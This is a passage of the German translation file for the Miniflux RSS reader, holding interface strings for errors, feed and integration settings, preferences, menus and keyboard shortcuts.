sein.\",\n    \"error.site_url_not_empty\": \"Der Site-URL darf nicht leer sein.\",\n    \"error.subscription_not_found\": \"Es wurden keine Abonnements gefunden.\",\n    \"error.title_required\": \"Der Titel ist obligatorisch.\",\n    \"error.tls_error\": \"TLS-Fehler: %q. Wenn Sie mögen, können Sie versuchen die TLS-Verifizierung in den Einstellungen des Abonnements zu deaktivieren.\",\n    \"error.unable_to_create_api_key\": \"Dieser API-Schlüssel kann nicht erstellt werden.\",\n    \"error.unable_to_create_category\": \"Diese Kategorie konnte nicht angelegt werden.\",\n    \"error.unable_to_create_user\": \"Dieser Benutzer kann nicht erstellt werden.\",\n    \"error.unable_to_detect_rssbridge\": \"Abonnement kann nicht durch RSS-Bridge erkannt werden: %v.\",\n    \"error.unable_to_parse_feed\": \"Dieses Abonnement kann nicht gelesen werden: %v.\",\n    \"error.unable_to_update_category\": \"Diese Kategorie konnte nicht aktualisiert werden.\",\n    \"error.unable_to_update_feed\": \"Dieses Abonnement konnte nicht aktualisiert werden.\",\n    \"error.unable_to_update_user\": \"Dieser Benutzer konnte nicht aktualisiert werden.\",\n    \"error.unlink_account_without_password\": \"Sie müssen ein Passwort festlegen, sonst können Sie sich nicht erneut anmelden.\",\n    \"error.user_already_exists\": \"Dieser Benutzer existiert bereits.\",\n    \"error.user_mandatory_fields\": \"Der Benutzername ist obligatorisch.\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API Token und Organization Slug sind erforderlich.\",\n    \"form.api_key.label.description\": \"API-Schlüsselbezeichnung\",\n    \"form.category.hide_globally\": \"Artikel in der globalen Ungelesen-Liste ausblenden\",\n    \"form.category.label.title\": \"Titel\",\n    \"form.feed.fieldset.general\": \"Allgemein\",\n    \"form.feed.fieldset.integration\": \"Drittanbieter-Dienste\",\n    \"form.feed.fieldset.network_settings\": \"Netzwerkeinstellungen\",\n    \"form.feed.fieldset.rules\": \"Regeln\",\n    \"form.feed.label.allow_self_signed_certificates\": \"Erlaube selbstsignierte oder ungültige Zertifikate\",\n    \"form.feed.label.apprise_service_urls\": \"Kommaseparierte Liste der Apprise-Service-URLs\",\n    \"form.feed.label.block_filter_entry_rules\": \"Eintrags-Sperrregeln\",\n    \"form.feed.label.blocklist_rules\": \"Regex-basierte Sperrfilter\",\n    \"form.feed.label.category\": \"Kategorie\",\n    \"form.feed.label.cookie\": \"Cookies setzen\",\n    \"form.feed.label.crawler\": \"Originalinhalt herunterladen\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"Beschreibung\",\n    \"form.feed.label.disable_http2\": \"HTTP/2 deaktivieren, um Fingerprinting zu verhindern\",\n    \"form.feed.label.disabled\": \"Dieses Abonnement nicht aktualisieren\",\n    \"form.feed.label.feed_password\": \"Passwort des Abonnements\",\n    \"form.feed.label.feed_url\": \"URL des Abonnements\",\n    \"form.feed.label.feed_username\": \"Benutzername des Abonnements\",\n    \"form.feed.label.fetch_via_proxy\": \"Den auf Anwendungsebene konfigurierten Proxy verwenden\",\n    \"form.feed.label.hide_globally\": \"Artikel in der globalen Ungelesen-Liste ausblenden\",\n    \"form.feed.label.ignore_http_cache\": \"Ignoriere HTTP-Cache\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Eintrags-Erlaubnisregeln\",\n    \"form.feed.label.keeplist_rules\": \"Regex-basierte Behalte-Filter\",\n    \"form.feed.label.no_media_player\": \"Kein Media-Player (Audio/Video)\",\n    \"form.feed.label.ntfy_activate\": \"Artikel zu ntfy pushen\",\n    \"form.feed.label.ntfy_default_priority\": \"Normale Ntfy-Priorität\",\n    \"form.feed.label.ntfy_high_priority\": \"Hohe Ntfy-Priorität\",\n    \"form.feed.label.ntfy_low_priority\": \"Niedrige Ntfy-Priorität\",\n    \"form.feed.label.ntfy_max_priority\": \"Höchste Ntfy-Priorität\",\n    \"form.feed.label.ntfy_min_priority\": \"Niedrigste Ntfy-Priorität\",\n    \"form.feed.label.ntfy_priority\": \"Ntfy-Priorität\",\n    \"form.feed.label.ntfy_topic\": \"Ntfy-Thema (optional)\",\n    \"form.feed.label.proxy_url\": \"Proxy-URL\",\n    \"form.feed.label.pushover_activate\": \"Artikel an pushover.net senden\",\n    \"form.feed.label.pushover_default_priority\": \"Pushover-Standardpriorität\",\n    \"form.feed.label.pushover_high_priority\": \"Hohe Pushoverpriorität\",\n    \"form.feed.label.pushover_low_priority\": \"Niedrige Pushoverpriorität\",\n    \"form.feed.label.pushover_max_priority\": \"Höchste Pushoverpriorität\",\n    \"form.feed.label.pushover_min_priority\": \"Niedrigste Pushoverpriorität\",\n    \"form.feed.label.pushover_priority\": \"Pushover-Nachrichtenpriorität\",\n    \"form.feed.label.rewrite_rules\": \"Inhalts-Umschreibregeln\",\n    \"form.feed.label.scraper_rules\": \"Extraktionsregeln\",\n    \"form.feed.label.site_url\": \"URL der Webseite\",\n    \"form.feed.label.title\": \"Titel\",\n    \"form.feed.label.urlrewrite_rules\": \"Umschreibregeln für URL\",\n    \"form.feed.label.user_agent\": \"Standardbenutzeragenten überschreiben\",\n    \"form.feed.label.webhook_url\": \"Webhook-URL überschreiben\",\n    \"form.import.label.file\": \"OPML-Datei\",\n    \"form.import.label.url\": \"URL\",\n    \"form.integration.archiveorg_activate\": \"Artikel zu archive.org pushen\",\n    \"form.integration.apprise_activate\": \"Artikel zu Apprise pushen\",\n    \"form.integration.apprise_services_url\": \"Kommaseparierte Liste von Apprise-Dienst-URLs\",\n    \"form.integration.apprise_url\": \"Apprise-API-URL\",\n    \"form.integration.betula_activate\": \"Artikel in Betula speichern\",\n    \"form.integration.betula_token\": \"Betula-Token\",\n    \"form.integration.betula_url\": \"Betula-Server-URL\",\n    \"form.integration.cubox_activate\": \"Artikel in Cubox speichern\",\n    \"form.integration.cubox_api_link\": \"Cubox-API-Link\",\n    \"form.integration.discord_activate\": \"Artikel zu Discord pushen\",\n    \"form.integration.discord_webhook_link\": \"Discord-Webhook-URL\",\n    \"form.integration.espial_activate\": \"Artikel in Espial speichern\",\n    \"form.integration.espial_api_key\": \"Espial-API-Schlüssel\",\n    \"form.integration.espial_endpoint\": \"Espial-API-Endpunkt\",\n    \"form.integration.espial_tags\": \"Espial-Tags\",\n    \"form.integration.fever_activate\": \"Fever-API aktivieren\",\n    \"form.integration.fever_endpoint\": \"Fever-API-Endpunkt:\",\n    \"form.integration.fever_password\": \"Fever-Passwort\",\n    \"form.integration.fever_username\": \"Fever-Benutzername\",\n    \"form.integration.googlereader_activate\": \"Google-Reader-API aktivieren\",\n    \"form.integration.googlereader_endpoint\": \"Google-Reader-API-Endpunkt:\",\n    \"form.integration.googlereader_password\": \"Google-Reader-Passwort\",\n    \"form.integration.googlereader_username\": \"Google-Reader-Benutzername\",\n    \"form.integration.instapaper_activate\": \"Artikel in Instapaper speichern\",\n    \"form.integration.instapaper_password\": \"Instapaper-Passwort\",\n    \"form.integration.instapaper_username\": \"Instapaper-Benutzername\",\n    \"form.integration.karakeep_activate\": \"Artikel in Karakeep speichern\",\n    \"form.integration.karakeep_api_key\": \"Karakeep-API-Schlüssel\",\n    \"form.integration.karakeep_url\": \"Karakeep-API-Endpunkt\",\n    \"form.integration.karakeep_tags\": \"Karakeep-Tags\",\n    \"form.integration.linkace_activate\": \"Artikel in LinkAce speichern\",\n    \"form.integration.linkace_api_key\": \"LinkAce-API-Schlüssel\",\n    \"form.integration.linkace_check_disabled\": \"Linkprüfung deaktivieren\",\n    \"form.integration.linkace_endpoint\": \"LinkAce-API-Endpunkt\",\n    \"form.integration.linkace_is_private\": \"Link als privat markieren\",\n    \"form.integration.linkace_tags\": \"LinkAce-Tags\",\n    \"form.integration.linkding_activate\": \"Artikel in Linkding speichern\",\n    \"form.integration.linkding_api_key\": \"Linkding-API-Schlüssel\",\n    \"form.integration.linkding_bookmark\": \"Lesezeichen als ungelesen markieren\",\n    \"form.integration.linkding_endpoint\": \"Linkding-API-Endpunkt\",\n    \"form.integration.linkding_tags\": \"Linkding-Tags\",\n    \"form.integration.linktaco_activate\": \"Artikel in LinkTaco speichern\",\n    \"form.integration.linktaco_api_token\": \"LinkTaco-API-Token\",\n    \"form.integration.linktaco_api_token_hint\": \"Holen Sie sich Ihr persönliches Zugriffstoken unter\",\n    \"form.integration.linktaco_org_slug\": \"Organisationstitel\",\n    \"form.integration.linktaco_tags\": \"Tags (max. 10, kommagetrennt)\",\n    \"form.integration.linktaco_tags_hint\": \"Maximal 10 Tags, kommagetrennt\",\n    \"form.integration.linktaco_visibility\": \"Sichtbarkeit\",\n    \"form.integration.linktaco_visibility_public\": \"Öffentlich\",\n    \"form.integration.linktaco_visibility_private\": \"Privat\",\n    \"form.integration.linktaco_visibility_hint\": \"PRIVATE Sichtbarkeit erfordert ein kostenpflichtiges LinkTaco-Konto\",\n    \"form.integration.linkwarden_activate\": \"Artikel in Linkwarden speichern\",\n    \"form.integration.linkwarden_api_key\": \"Linkwarden-API-Schlüssel\",\n    \"form.integration.linkwarden_endpoint\": \"Linkwarden-Base-URL\",\n    \"form.integration.linkwarden_collection_id\": \"Linkwarden-Sammlungs-ID\",\n    \"form.integration.matrix_bot_activate\": \"Neue Artikel in Matrix übertragen\",\n    \"form.integration.matrix_bot_chat_id\": \"ID des Matrix-Raums\",\n    \"form.integration.matrix_bot_password\": \"Passwort für Matrix-Benutzer\",\n    \"form.integration.matrix_bot_url\": \"URL des Matrix-Servers\",\n    \"form.integration.matrix_bot_user\": \"Benutzername für Matrix\",\n    \"form.integration.notion_activate\": \"Artikel in Notion speichern\",\n    \"form.integration.notion_page_id\": \"Notion-Page-ID\",\n    \"form.integration.notion_token\": \"Notion-Geheimnis-Token\",\n    \"form.integration.ntfy_activate\": \"Artikel zu ntfy pushen\",\n    \"form.integration.ntfy_api_token\": \"Ntfy-API-Token (optional)\",\n    \"form.integration.ntfy_icon_url\": \"Ntfy-Symbol-URL (optional)\",\n    \"form.integration.ntfy_internal_links\": \"Interne Links beim Klicken verwenden (optional)\",\n    \"form.integration.ntfy_password\": \"Ntfy-Passwort (optional)\",\n    \"form.integration.ntfy_topic\": \"Ntfy-Thema (Standard, wenn nicht im Feed eingestellt)\",\n    \"form.integration.ntfy_url\": \"Ntfy-URL (optional, Standard ist ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Ntfy-Benutzername (optional)\",\n    \"form.integration.nunux_keeper_activate\": \"Artikel in Nunux Keeper speichern\",\n    \"form.integration.nunux_keeper_api_key\": \"Nunux-Keeper-API-Schlüssel\",\n    \"form.integration.nunux_keeper_endpoint\": \"Nunux-Keeper-API-Endpunkt\",\n    \"form.integration.omnivore_activate\": \"Artikel in Omnivore speichern\",\n    \"form.integration.omnivore_api_key\": \"Omnivore-API-Schlüssel\",\n    \"form.integration.omnivore_url\": \"Omnivore-API-Endpunkt\",\n    \"form.integration.pinboard_activate\": \"Artikel in Pinboard speichern\",\n    \"form.integration.pinboard_bookmark\": \"Lesezeichen als ungelesen markieren\",\n    \"form.integration.pinboard_tags\": \"Pinboard-Tags\",\n    \"form.integration.pinboard_token\": \"Pinboard-API-Token\",\n    \"form.integration.pushover_activate\": \"Artikel an Pushover senden\",\n    \"form.integration.pushover_device\": \"Pushovergerät (optional)\",\n    \"form.integration.pushover_prefix\": \"Pushover-URL-Präfix (optional)\",\n    \"form.integration.pushover_token\": \"Pushover-Anwendungs-API-Token\",\n    \"form.integration.pushover_user\": \"Pushover-Benutzerschlüssel\",\n    \"form.integration.raindrop_activate\": \"Artikel in Raindrop speichern\",\n    \"form.integration.raindrop_collection_id\": \"Sammlungs-ID\",\n    \"form.integration.raindrop_tags\": \"Tags (kommagetrennt)\",\n    \"form.integration.raindrop_token\": \"(Test-)Token\",\n    \"form.integration.readeck_activate\": \"Artikel in Readeck speichern\",\n    \"form.integration.readeck_api_key\": \"Readeck-API-Schlüssel\",\n    \"form.integration.readeck_endpoint\": \"Readeck-URL\",\n    \"form.integration.readeck_labels\": \"Readeck-Labels\",\n    \"form.integration.readeck_only_url\": \"Nur URL senden (anstelle des vollständigen Inhalts)\",\n    \"form.integration.readeck_push_activate\": \"Neue Artikel automatisch in Readeck speichern\",\n    \"form.integration.readwise_activate\": \"Artikel in Readwise Reader speichern\",\n    \"form.integration.readwise_api_key\": \"Readwise-Reader-Zugangstoken\",\n    \"form.integration.readwise_api_key_link\": \"Erhalten Sie Ihren Readwise-Zugangstoken\",\n    \"form.integration.rssbridge_activate\": \"Beim Hinzufügen von Abonnements RSS-Bridge prüfen.\",\n    \"form.integration.rssbridge_token\": \"RSS-Bridge-Authentifizierungs-Token\",\n    \"form.integration.rssbridge_url\": \"RSS-Bridge-Server-URL\",\n    \"form.integration.shaarli_activate\": \"Artikel in Shaarli speichern\",\n    \"form.integration.shaarli_api_secret\": \"Shaarli-API-Geheimnis\",\n    \"form.integration.shaarli_endpoint\": \"Shaarli-URL\",\n    \"form.integration.shiori_activate\": \"Artikel in Shiori speichern\",\n    \"form.integration.shiori_endpoint\": \"Shiori-API-Endpunkt\",\n    \"form.integration.shiori_password\": \"Shiori-Passwort\",\n    \"form.integration.shiori_username\": \"Shiori-Benutzername\",\n    \"form.integration.slack_activate\": \"Artikel zu Slack pushen\",\n    \"form.integration.slack_webhook_link\": \"Slack-Webhook-URL\",\n    \"form.integration.telegram_bot_activate\": \"Schicken Sie neue Artikel in den Telegram-Chat\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Schaltfächen deaktivieren\",\n    \"form.integration.telegram_bot_disable_notification\": \"Benachrichtigungen deaktivieren\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Webseiten-Vorschau deaktivieren\",\n    \"form.integration.telegram_bot_token\": \"Bot-Token\",\n    \"form.integration.telegram_chat_id\": \"Chat-ID\",\n    \"form.integration.telegram_topic_id\": \"Thema-ID\",\n    \"form.integration.wallabag_activate\": \"Artikel in Wallabag speichern\",\n    \"form.integration.wallabag_client_id\": \"Wallabag-Client-ID\",\n    \"form.integration.wallabag_client_secret\": \"Wallabag-Client-Geheimnis\",\n    \"form.integration.wallabag_endpoint\": \"Wallabag-Basis-URL\",\n    \"form.integration.wallabag_only_url\": \"Nur URL senden (anstelle des vollständigen Inhalts)\",\n    \"form.integration.wallabag_password\": \"Wallabag-Passwort\",\n    \"form.integration.wallabag_username\": \"Wallabag-Benutzername\",\n    \"form.integration.wallabag_tags\": \"Wallabag-Tags\",\n    \"form.integration.webhook_activate\": \"Webhooks aktivieren\",\n    \"form.integration.webhook_secret\": \"Webhook-Geheimnis\",\n    \"form.integration.webhook_url\": \"Standard-Webhook-URL\",\n    \"form.prefs.fieldset.application_settings\": \"Anwendungseinstellungen\",\n    \"form.prefs.fieldset.authentication_settings\": \"Authentifizierungseinstellungen\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Globale Feedeinstellungen\",\n    \"form.prefs.fieldset.reader_settings\": \"Reader-Einstellungen\",\n    \"form.prefs.help.external_font_hosts\": \"Per Leerzeichen getrennte Liste externer Schriftarten-Hosts, die erlaubt werden sollen. Beispiel: \\\"fonts.gstatic.com fonts.googleapis.com\\\".\",\n    \"form.prefs.label.always_open_external_links\": \"Artikel immer mit Öffnen der Links lesen\",\n    \"form.prefs.label.categories_sorting_order\": \"Kategorie-Sortierung\",\n    \"form.prefs.label.cjk_reading_speed\": \"Lesegeschwindigkeit für Chinesisch, Koreanisch und Japanisch (Zeichen pro Minute)\",\n    \"form.prefs.label.custom_css\": \"Benutzerdefiniertes CSS\",\n    \"form.prefs.label.custom_js\": \"Benutzerdefiniertes JavaScript\",\n    \"form.prefs.label.default_home_page\": \"Standard-Startseite\",\n    \"form.prefs.label.default_reading_speed\": \"Lesegeschwindigkeit für andere Sprachen (Wörter pro Minute)\",\n    \"form.prefs.label.display_mode\": \"Anzeigemodus der progressiven Web-Anwendung (PWA)\",\n    \"form.prefs.label.entries_per_page\": \"Artikel pro Seite\",\n    \"form.prefs.label.entry_order\": \"Artikel-Sortierspalte\",\n    \"form.prefs.label.entry_sorting\": \"Sortierung der Artikel\",\n    \"form.prefs.label.entry_swipe\": \"Aktivieren Sie das Wischen von Artikeln auf Touchscreens\",\n    \"form.prefs.label.external_font_hosts\": \"Externe Schriftarten-Hosts\",\n    \"form.prefs.label.gesture_nav\": \"Geste zum Navigieren zwischen Artikeln\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Tastaturkürzel aktivieren\",\n    \"form.prefs.label.language\": \"Sprache\",\n    \"form.prefs.label.mark_read_manually\": \"Artikel manuell als gelesen markieren\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Nur als gelesen markieren, wenn Audio/Video zu 90%% wiedergegeben wurden\",\n    \"form.prefs.label.mark_read_on_view\": \"Artikel automatisch als gelesen markieren, wenn sie angezeigt werden\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Artikel automatisch als gelesen markieren, wenn sie angezeigt werden. Audio/Video bei 90%% Wiedergabe als gelesen markieren\",\n    \"form.prefs.label.media_playback_rate\": \"Wiedergabegeschwindigkeit von Audio/Video\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Externe Links in einem neuen Tab öffnen (fügt target=\\\"_blank\\\" zu Links hinzu)\",\n    \"form.prefs.label.show_reading_time\": \"Geschätzte Lesezeit für Artikel anzeigen\",\n    \"form.prefs.label.theme\": \"Thema\",\n    \"form.prefs.label.timezone\": \"Zeitzone\",\n    \"form.prefs.select.alphabetical\": \"Alphabetisch\",\n    \"form.prefs.select.browser\": \"Systembrowser\",\n    \"form.prefs.select.created_time\": \"Artikel erstellt am\",\n    \"form.prefs.select.fullscreen\": \"Vollbildschirm\",\n    \"form.prefs.select.minimal_ui\": \"Minimale Oberfläche\",\n    \"form.prefs.select.none\": \"Keine\",\n    \"form.prefs.select.older_first\": \"Ältere Artikel zuerst\",\n    \"form.prefs.select.publish_time\": \"Artikel veröffentlicht am\",\n    \"form.prefs.select.recent_first\": \"Neue Artikel zuerst\",\n    \"form.prefs.select.standalone\": \"Eigenständige\",\n    \"form.prefs.select.swipe\": \"Wischen\",\n    \"form.prefs.select.tap\": \"Doppeltippen\",\n    \"form.prefs.select.unread_count\": \"Ungelesen\",\n    \"form.submit.loading\": \"Lade...\",\n    \"form.submit.saving\": \"Speichern...\",\n    \"form.user.label.admin\": \"Administrator\",\n    \"form.user.label.confirmation\": \"Passwortbestätigung\",\n    \"form.user.label.password\": \"Passwort\",\n    \"form.user.label.username\": \"Benutzername\",\n    \"menu.about\": \"Über\",\n    \"menu.add_feed\": \"Abonnement hinzufügen\",\n    \"menu.add_user\": \"Benutzer anlegen\",\n    \"menu.api_keys\": \"API-Schlüssel\",\n    \"menu.categories\": \"Kategorien\",\n    \"menu.create_api_key\": \"Erstellen Sie einen neuen API-Schlüssel\",\n    \"menu.create_category\": \"Kategorie anlegen\",\n    \"menu.edit_category\": \"Bearbeiten\",\n    \"menu.edit_feed\": \"Bearbeiten\",\n    \"menu.export\": \"Exportieren\",\n    \"menu.feed_entries\": \"Artikel\",\n    \"menu.feeds\": \"Abonnements\",\n    \"menu.flush_history\": \"Verlauf leeren\",\n    \"menu.history\": \"Verlauf\",\n    \"menu.home_page\": \"Startseite\",\n    \"menu.import\": \"Importieren\",\n    \"menu.integrations\": \"Dienste\",\n    \"menu.logout\": \"Abmelden\",\n    \"menu.mark_all_as_read\": \"Alle als gelesen markieren\",\n    \"menu.mark_page_as_read\": \"Diese Seite als gelesen markieren\",\n    \"menu.preferences\": \"Einstellungen\",\n    \"menu.refresh_all_feeds\": \"Alle Abonnements im Hintergrund aktualisieren\",\n    \"menu.refresh_feed\": \"Aktualisieren\",\n    \"menu.search\": \"Suche\",\n    \"menu.sessions\": \"Sitzungen\",\n    \"menu.settings\": \"Einstellungen\",\n    \"menu.shared_entries\": \"Geteilte Artikel\",\n    \"menu.show_all_entries\": \"Zeige alle Artikel\",\n    \"menu.show_only_starred_entries\": \"Nur markierte Artikel anzeigen\",\n    \"menu.show_only_unread_entries\": \"Nur ungelesene Artikel anzeigen\",\n    \"menu.starred\": \"Markiert\",\n    \"menu.title\": \"Menü\",\n    \"menu.unread\": \"Ungelesen\",\n    \"menu.users\": \"Benutzer\",\n    \"page.about.author\": \"Autor:\",\n    \"page.about.build_date\": \"Datum der Kompilierung:\",\n    \"page.about.credits\": \"Urheberrechte\",\n    \"page.about.db_usage\": \"Datenbankgröße:\",\n    \"page.about.git_commit\": \"Git-Commit:\",\n    \"page.about.global_config_options\": \"Globale Konfigurationsoptionen\",\n    \"page.about.go_version\": \"Go-Version:\",\n    \"page.about.license\": \"Lizenz:\",\n    \"page.about.postgres_version\": \"Postgres-Version:\",\n    \"page.about.title\": \"Über\",\n    \"page.about.version\": \"Version:\",\n    \"page.add_feed.choose_feed\": \"Abonnement auswählen\",\n    \"page.add_feed.label.url\": \"URL\",\n    \"page.add_feed.legend.advanced_options\": \"Erweiterte Optionen\",\n    \"page.add_feed.no_category\": \"Es ist keine Kategorie vorhanden. Wenigstens eine Kategorie muss angelegt sein.\",\n    \"page.add_feed.submit\": \"Abonnement finden\",\n    \"page.add_feed.title\": \"Neues Abonnement\",\n    \"page.api_keys.never_used\": \"Nie benutzt\",\n    \"page.api_keys.table.actions\": \"Aktionen\",\n    \"page.api_keys.table.created_at\": \"Erstellungsdatum\",\n    \"page.api_keys.table.description\": \"Beschreibung\",\n    \"page.api_keys.table.last_used_at\": \"Zuletzt verwendeten\",\n    \"page.api_keys.table.token\": \"Zeichen\",\n    \"page.api_keys.title\": \"API-Schlüssel\",\n    \"page.categories.entries\": \"Artikel\",\n    \"page.categories.feed_count\": [\n        \"Es gibt %d Abonnement.\",\n        \"Es gibt %d Abonnements.\"\n    ],\n    \"page.categories.feeds\": \"Abonnements\",\n    \"page.categories.no_feed\": \"Kein Abonnement.\",\n    \"page.categories.title\": \"Kategorien\",\n    \"page.categories_count\": [\n        \"%d Kategorie\",\n        \"%d Kategorien\"\n    ],\n    \"page.category_label\": \"Kategorie: %s\",\n    \"page.edit_category.title\": \"Kategorie bearbeiten: %s\",\n    \"page.edit_feed.etag_header\": \"ETag-Kopfzeile:\",\n    \"page.edit_feed.last_check\": \"Letzte Aktualisierung:\",\n    \"page.edit_feed.last_modified_header\": \"Zuletzt geändert:\",\n    \"page.edit_feed.last_parsing_error\": \"Letzter Analysefehler\",\n    \"page.edit_feed.no_header\": \"Nicht verfügbar\",\n    \"page.edit_feed.title\": \"Abonnement bearbeiten: %s\",\n    \"page.edit_user.title\": \"Benutzer bearbeiten: %s\",\n    \"page.entry.attachments\": \"Anhänge\",\n    \"page.feeds.error_count\": [\n        \"%d Fehler\",\n        \"%d Fehler\"\n    ],\n    \"page.feeds.last_check\": \"Letzte Aktualisierung:\",\n    \"page.feeds.next_check\": \"Nächste Aktualisierung:\",\n    \"page.feeds.read_counter\": \"Anzahl der gelesenen Artikel\",\n    \"page.feeds.title\": \"Abonnements\",\n    \"page.footer.elevator\": \"Zurück nach oben\",\n    \"page.history.title\": \"Verlauf\",\n    \"page.import.title\": \"Importieren\",\n    \"page.integration.bookmarklet\": \"Bookmarklet\",\n    \"page.integration.bookmarklet.help\": \"Dieser spezielle Link ermöglicht es, eine Webseite direkt über ein Lesezeichen im Browser zu abonnieren.\",\n    \"page.integration.bookmarklet.instructions\": \"Ziehen Sie diesen Link in Ihre Lesezeichen.\",\n    \"page.integration.bookmarklet.name\": \"Mit Miniflux abonnieren\",\n    \"page.integration.miniflux_api\": \"Miniflux-API\",\n    \"page.integration.miniflux_api_endpoint\": \"API-Endpunkt\",\n    \"page.integration.miniflux_api_password\": \"Passwort\",\n    \"page.integration.miniflux_api_password_value\": \"Ihr Konto-Passwort\",\n    \"page.integration.miniflux_api_username\": \"Benutzername\",\n    \"page.integrations.title\": \"Dienste\",\n    \"page.keyboard_shortcuts.close_modal\": \"Liste der Tastenkürzel schließen\",\n    \"page.keyboard_shortcuts.download_content\": \"Vollständigen Inhalt herunterladen\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Gehen Sie zum untersten Element\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Zu den Kategorien gehen\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Zum Abonnement gehen\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Zu den Abonnements gehen\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Zum Verlauf gehen\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Zum nächsten Artikel gehen\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Zur nächsten Seite gehen\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Zum vorherigen Artikel gehen\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Zur vorherigen Seite gehen\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Fokus auf das Suchformular setzen\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Zu den Einstellungen gehen\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Zu den markierten Artikeln gehen\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"Zum obersten Artikel gehen\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Zu den ungelesenen Artikeln gehen\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Aktuelle Seite als gelesen markieren\",\n    \"page.keyboard_shortcuts.open_comments\": \"Kommentare öffnen\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Öffne den Kommentare-Link in der aktuellen Registerkarte\",\n    \"page.keyboard_shortcuts.open_item\": \"Gewählten Artikel öffnen\",\n    \"page.keyboard_shortcuts.open_original\": \"Original-Artikel öffnen\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Öffne den Original-Link in der aktuellen Registerkarte\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Alle Abonnements im Hintergrund aktualisieren\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Dieses Abonnement entfernen\",\n    \"page.keyboard_shortcuts.save_article\": \"Artikel speichern\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"Artikel an den Anfang blättern\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Liste der Tastenkürzel anzeigen\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Aktionen\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Navigation zwischen den Artikeln\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Navigation zwischen den Seiten\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Navigation zwischen den Menüpunkten\",\n    \"page.keyboard_shortcuts.title\": \"Tastenkürzel\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Markierung hinzufügen/entfernen\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Artikelanhänge öffnen/schließen\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Gewählten Artikel als gelesen/ungelesen markieren, nächsten auswählen\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"Gewählten Artikel als gelesen/ungelesen markieren, vorherigen auswählen\",\n    \"page.login.google_signin\": \"Anmeldung mit Google\",\n    \"page.login.oidc_signin\": \"Anmeldung mit %s\",\n    \"page.login.title\": \"Anmeldung\",\n    \"page.login.webauthn_login\": \"Melden Sie sich mit dem Passkey an\",\n    \"page.login.webauthn_login.error\": \"Anmeldung mit Passkey nicht möglich\",\n    \"page.login.webauthn_login.help\": \"Bitte geben Sie Ihren Benutzernamen ein, sofern Sie einen Sicherheitsschlüssel verwenden. Dies ist nicht nötig, wenn Sie einen Passkey verwenden (auffindbare Anmeldeinformationen).\",\n    \"page.new_api_key.title\": \"Neuer API-Schlüssel\",\n    \"page.new_category.title\": \"Neue Kategorie\",\n    \"page.new_user.title\": \"Neuer Benutzer\",\n    \"page.offline.message\": \"Sie sind offline\",\n    \"page.offline.refresh_page\": \"Versuchen Sie, die Seite zu aktualisieren\",\n    \"page.offline.title\": \"Offline-Modus\",\n    \"page.read_entry_count\": [\n        \"%d gelesener Artikel\",\n        \"%d gelesene Artikel\"\n    ],\n    \"page.search.title\": \"Suchergebnisse\",\n    \"page.sessions.table.actions\": \"Aktionen\",\n    \"page.sessions.table.current_session\": \"Aktuelle Sitzung\",\n    \"page.sessions.table.date\": \"Datum\",\n    \"page.sessions.table.ip\": \"IP-Adresse\",\n    \"page.sessions.table.user_agent\": \"Benutzeragent\",\n    \"page.sessions.title\": \"Sitzungen\",\n    \"page.settings.link_google_account\": \"Google-Konto verknüpfen\",\n    \"page.settings.link_oidc_account\": \"%s-Konto verknüpfen\",\n    \"page.settings.title\": \"Einstellungen\",\n    \"page.settings.unlink_google_account\": \"Verknüpfung mit Google-Konto entfernen\",\n    \"page.settings.unlink_oidc_account\": \"Verknüpfung mit %s-Konto entfernen\",\n    \"page.settings.webauthn.actions\": \"Aktionen\",\n    \"page.settings.webauthn.added_on\": \"Hinzugefügt am\",\n    \"page.settings.webauthn.delete\": [\n        \"Entfernen Sie %d Hauptschlüssel\",\n        \"%d Hauptschlüssel entfernen\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Zuletzt genutzt\",\n    \"page.settings.webauthn.passkey_name\": \"Name des Passkeys\",\n    \"page.settings.webauthn.passkeys\": \"Passkeys\",\n    \"page.settings.webauthn.register\": \"Hauptschlüssel registrieren\",\n    \"page.settings.webauthn.register.error\": \"Hauptschlüssel kann nicht registriert werden\",\n    \"page.shared_entries.title\": \"Geteilte Artikel\",\n    \"page.shared_entries_count\": [\n        \"%d geteilter Artikel\",\n        \"%d geteilte Artikel\"\n    ],\n    \"page.starred.title\": \"Markiert\",\n    \"page.starred_entry_count\": [\n        \"%d markierter Artikel\",\n        \"%d markierte Artikel\"\n    ],\n    \"page.total_entry_count\": 